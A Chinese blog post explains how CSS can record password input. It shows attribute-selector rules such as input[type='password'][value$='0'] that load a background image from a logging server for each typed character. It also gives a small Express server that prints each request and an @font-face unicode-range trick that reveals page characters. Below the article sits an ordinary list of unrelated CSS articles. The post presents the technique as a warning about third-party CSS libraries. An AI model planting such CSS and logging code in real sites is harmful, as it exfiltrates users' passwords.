CSS记录用户密码实现代码分享

本文主要和大家介绍了css 记录用户密码的方法的相关资料,简单的css代码,甚至不符合图灵完备的语言,但是也能成为一些攻击者的工具,下面简单介绍一下如何使用css去记录用户的密码。但是这些css脚本会出现在第三方css库中,所以使用第三方css库也需要谨慎,确保代码安全。直接上代码解析:

input[type="password"][value$="0"] {     background-image: url("http://localhost:3000/0"); }input[type="password"][value$="1"] {     background-image: url("http://localhost:3000/1"); }input[type="password"][value$="2"] {     background-image: url("http://localhost:3000/2"); }

以上是部分代码,我们来解析一下CSS代码

input[type="password"]是css选择器,作用是选择密码输入框, [value$="0"]表示匹配输入的值是以0结尾的。所以:

input[type="password"][value$="0"] {     background-image: url("http://localhost:3000/0"); }

上面代码的意思就是如果你在密码框中输入0,就去请求http://localhost:3000/0接口,但是浏览器默认情况下是不会将用户输入的值存储在value属性中,但是有的框架会同步这些值,例如React。

所以只要使用了如下图的脚本就能去存储用户的输入数据信息。

立即学习“前端免费学习笔记(深入)”;

CSS记录用户密码实现代码分享

我们再来看一下服务器端的代码:

const express = require("express");const app = express();app.get("/:key", (req, res) => {   process.stdout.write(req.params.key);   return res.sendStatus(400);});app.listen(3000, () => console.log("启动,监听3000端口"));

使用express创建服务器,监听3000端口,只要请求http://localhost:3000/:key,就能输出key的值,就能在服务器上记录输入的值。所以只要在每输入一个值都匹配,然后通过 background-image 去请求一个已经准备好的接口,就能记录用户的输入。类似的方法记录用户的内容的CSS代码@font-face {  

   font-family: blah;     src: url('http://localhost:3000/a') format('woff');     unicode-range: U+85;}html {     font-family: blah, sans-serif;}

你使用的的css的简单的字体库,只要你的页面中包含a,就会去请求http://localhost:3000/a,这样就能知道你的页面中包含有a字符。

相关推荐:

PHP实现保存网站用户密码到css文件分享

怎样去存储用户密码安全

php用户密码加密算法解析

以上就是CSS记录用户密码实现代码分享的详细内容,更多请关注创想鸟其它相关文章!

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 chuangxiangniao@163.com 举报,一经查实,本站将立刻删除。
发布者:程序猿,转转请注明出处:https://www.chuangxiangniao.com/p/1609058.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2025年12月24日 00:33:54
下一篇 2025年12月24日 00:34:06

相关推荐

  • css的重绘与重排实现实例

    本文主要和大家介绍了css重绘与重排的方法的相关资料,小编觉得挺不错的,现在分享给大家,希望能帮助到大家。 浏览器加载页面原理 通常在文档初次加载时,浏览器引擎会解析HTML文档来构建DOM树,之后根据DOM元素的几何属性构建一棵用于渲染的树。渲染树的每个节点都有大小和边距等属性,类似于 盒子模型 …

    好文分享 2025年12月24日
    000
  • 你必须要知道的俩个CSS字体属性

    这次给大家带来你必须要知道的俩个css字体属性,使用css字体属性的注意事项有哪些,下面就是实战案例,一起来看一下。 如何给英文和中文设置不同的字体? 但凡是中文字体,里面都包含了英文,但凡是英文字体,里面都没有包含中文,也就是说中文字体可以处理英文,而英文字体不能处理中文. 注意:如果想给界面中的…

    好文分享 2025年12月24日
    000
  • CSS的选择器有哪些常见问题

    这次给大家带来css的选择器有哪些常见问题,处理css的选择器常见问题的注意事项有哪些,下面就是实战案例,一起来看一下。 选择器常见的有哪几种?1.标签选择器p{ }/选择标签名为p的元素/2.类选择器.box{ }/选择class名为box的元素/3.ID选择器#header{ }/选择id名为h…

    好文分享 2025年12月24日
    000
  • 简述CSS中clearfix 的原理

    这次给大家带来简述css中clearfix 的原理,使用css中clearfix的注意事项有哪些,下面就是实战案例,一起来看一下。 DemoDemo中的CSS中用到这样一个样式: .clearfix:after{ content: ”; display: block; clear: both; 该…

    好文分享 2025年12月24日
    000
  • css如何实现毛毛虫爬行动作代码分享

    毛毛虫儿时大家都有见过,今天想起来写一个爬行的动作,我们先来看一下效果图,具体代码如下所示: html代码: css代码: body { background-color: #1B6CB2; margin: 0;}.container { position: absolute; width: 600…

    2025年12月24日
    000
  • css里有哪些长度单位

    这次给大家带来css里有哪些长度单位,使用css里的长度单位注意事项有哪些,下面就是实战案例,一起来看一下。 1.有两种类型的长度单位:相对和绝对。 相对长度单位指定了一个相对于其它长度属性的单位。使用相对单位的样式表更容易根据不同的输出环境缩放 相对单位有: em:相关字体的’font…

    好文分享 2025年12月24日
    000
  • CSS Tips段落每行渐变色文本效果的实现方法

    今天小编在codepen上看到一个css写的效果。一个段落的每行文本是渐变效果。对于单行文本或单个词实现渐变填充效果并不是什么奇怪的事情,不过对于一个段落的每一行实现一个文本渐变填充的效果。估计还是会令很多人感到好奇。如果你是其中好奇的一员,请继续往下阅读,一探其中之究竟! 目标效果 今天的目标效果…

    2025年12月24日 好文分享
    000
  • CSS如何实现卡片3D翻转效果

    本文主要和大家介绍了css实现卡片3d翻转效果的示例代码,希望能帮助到大家。 效果: 代码: html: css: 立即学习“前端免费学习笔记(深入)”; .main { position: absolute; top: 50%; left: 50%; width: 300px; height: 3…

    2025年12月24日
    000
  • table tr th 及table tr td 字体太多超出怎样用CSS解决

    这次给大家带来table tr th 及table tr td 字体太多超出怎样用css解决,table tr th 及table tr td 字体太多的css的解决方法,下面就是实战案例,一起来看一下。 要比js控制性能好,但是在firfox低版本有时显示重叠加粗 table{ table-lay…

    好文分享 2025年12月24日
    000
  • CSS3 calc()计算属性详细介绍

    正如其名,calc是css3中新增的计算属性,让很多属性增加了一个表达式的说法; calc是英文单词calculate(计算)的缩写,是css3的一个新增的功能,你可以使用calc()给元素的border、margin、pading、font-size、width和height等属性设置动态值。 怎…

    2025年12月24日
    000
  • css使用relative模仿百度首页top

    最近在学习html、css的过程中,想模仿一下百度首页。发现搜索框这一部分与上下其它元素的空白距离可以随着窗口大小变化,希望本文能帮助到大家。 效果实现 垂直伸缩 *{ padding: 0; margin: 0; } body,html{ height: 100%; } .content{ min…

    2025年12月24日
    000
  • css实现简单时间轴的实例代码

    本文主要和大家介绍了前端css实现最基本的时间轴的示例代码,分享给大家,给大家做个参考,希望能帮助到大家。 原型: 代码: 状态详情 #timeleft p { height: 65px; color: #333333; } #timecenter p { height: 65px; color: …

    2025年12月24日 好文分享
    000
  • CSS3实现渐变文字效果

    本文主要和大家分享css3实现渐变文字效果,我们主要和大家分享两种方法,希望能帮助到大家。 一、方法一:借助mask-image属性 方法一下的文字渐变效果 相应的HTML代码如下: 天赐美妞 与HTML相对应的CSS代码如下: 立即学习“前端免费学习笔记(深入)”; .text-gradient …

    好文分享 2025年12月24日
    000
  • CSS3中clip-path的用法简介

    一、基本概念 刷新 QQ 空间动态时,发现一则广告,随着用户上下滑动动态列表,就会自动切换广告图片,这样的效果对移动端本就不大的屏幕来说,无疑是很精妙的考虑,这样的效果是怎么实现的呢? 接下来就说说这个效果的具体实现思路: 将两张图片通过定位,相对于图片容器堆叠在一起; 在图片容器的左上角或右下角选…

    好文分享 2025年12月24日
    000
  • css实现任意大小、方向和角度的箭头代码

    本文主要和大家介绍了使用css实现任意大小、任意方向和任意角度的箭头示例的相关资料,小编觉得挺不错的,现在分享给大家,也给大家做个参考,希望能帮助到大家。 网页开发中,经常会使用到 下拉箭头 ,右侧箭头 立即学习“前端免费学习笔记(深入)”; 这样的箭头。 一般用css来实现: { display:…

    2025年12月24日 好文分享
    000
  • 5种css实现左中右布局的方式

    本文主要和大家介绍了css布局实现左中右布局的5种方式的相关资料,小编觉得挺不错的,现在分享给大家,也给大家做个参考,希望能帮助到大家。 效果如下: 左中右布局 Document html *{ margin: 0; padding: 0; } article{ height: 100px; } s…

    2025年12月24日
    000
  • CSS的伪类内容生成

    这次给大家带来css的伪类内容生成,css的伪类内容生成的注意事项有哪些,下面就是实战案例,一起来看一下。 1、 通过 css 向已有的元素上增加新的文本(图片)内容选择器:    1、:before     向匹配元素之前增加生成的内容     定位到匹配元素开始的位置    2、:after  …

    好文分享 2025年12月24日
    000
  • CSS计数器与多列的使用

    这次给大家带来css计数器与多列的使用,css计数器与多列使用的注意事项有哪些,下面就是实战案例,一起来看一下。 通过css 定义一个计数器,在其他元素中可以使用该计数器生成的数字。属性:  1、 counter-reset   作用:用于定义计数器并设置初始值   如果不设置初始值,那么默认为0,…

    好文分享 2025年12月24日
    000
  • css文件格式化脚本的方法

    这次给大家带来css文件格式化脚本的方法,css文件格式化脚本的注意事项有哪些,下面就是实战案例,一起来看一下。 #!/usr/bin/python# -*- coding: UTF-8 -*-import sys,osdef format(ddt): ddt = ddt.replace(‘n’,’…

    2025年12月24日
    000
  • Css多行字符截取方法详解

    相信有很多同学在写前端页面的时候,都会遇到字符长了需要截取的问题,最简单的方法就是手动去截取,可这样又感觉太low了,今天晚上就来讲讲利用css进行字符的截取,不了解css是如何截取的同学可以和我们一起看看哦! 前言 最近在做响应式系统设计的时候遇到需要对标题进行多行文字截取的效果,如下图: 看似十…

    2025年12月24日 好文分享
    000

发表回复

登录后才能评论
关注微信